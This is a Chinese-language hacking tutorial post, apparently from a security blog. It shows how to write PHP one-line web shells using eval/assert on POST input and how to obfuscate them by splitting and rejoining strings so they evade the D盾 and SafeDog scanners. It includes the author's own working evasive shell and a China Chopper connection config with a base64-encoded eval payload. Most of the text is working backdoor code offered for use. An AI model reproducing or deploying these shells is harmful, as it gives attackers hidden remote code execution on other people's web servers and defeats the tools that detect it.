授之以鱼不如授之以渔
一句话最原始形态:
<?php eval($_POST[4]);?>
<?php assert($_POST[4]);?>
注意:
BaiDu下一eval和assert的区别
eval可以不变量引用,而assert可以;eval可以执行多条语句,assert只能执行一句
在D狗扫描Web后门的时候就会匹配这两个函数
绕过方法:拆封-->组合
拆分:{}和$
组合:()和.
$c='ass'.'ert';$c($_POST[4]);
复制代码
//这个是经过简单$拆分的一句话,但过不D盾
//过滤 变量+($_POST 想办法改变这个模式
$c='ass'.'ert';${c}($_POST[4]);
复制代码
//这个就绕过D盾了,{}变量分离符,可以把$后面的变量名做字符串处理
$_POST[4] == ${chr(95).'POS'.chr(84)}[4]
复制代码
//可以测试一下,是一样的可以接受到POST数据中4的参数
我的一句话:
<?php
$A='Acc';
$p='_';
$o='PO';
$s='S';
$t='T';
$a='as';
$b='sert';
$Acc=$a.$b;
${$A}(${$p.$o.$s.$t}[4]);
说到底,只要想办法拆封组合就可以绕过,所以没必要担心软件更新
//在来说如何绕过安全狗连接一句话,如果没搞明白eval和assert的区别最好在搞明白在看
这是刚写的,过最新的狗
hatchet.ini:
[Header]
User-Agent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Referer=1
X-Forwarded-For=1
[/Header]
[Headers]
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
[/Headers]
[POST]
ASP_POST_DATA==Execute("Ex"%26cHr(101)%26cHr(99)%26"ute(""On+Error+Resume+Next:
PHP_POST_DATA==@${chr(95).'POS'.chr(84)}[1]($_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7));&1=assert&xxxx=base64_decode&xxx=
PHP_POST_Z0_DATA=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);
[/POST]
这里只讲PHP的
PHP_POST_DATA==@${chr(95).'POS'.chr(84)}[1]($_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7));&1=assert&xxxx=base64_decode&xxx=
复制代码
@${chr(95).'POS'.chr(84)}[1] == $_POST[1] == assert
//这个应该还理解
$_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7)
//这个我不讲,大家可以解密base64编码,为什么要"重复"
菜刀的操作(读文件,写文件,数据库,命令执行)的php代码都是大于1行的,而我们一句话用的assert,只能执行一句php代码,所以必须重复再写一个代码执行eval函数
&1=assert&xxxx=base64_decode&xxx=
//这是POST的数据,不多讲。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论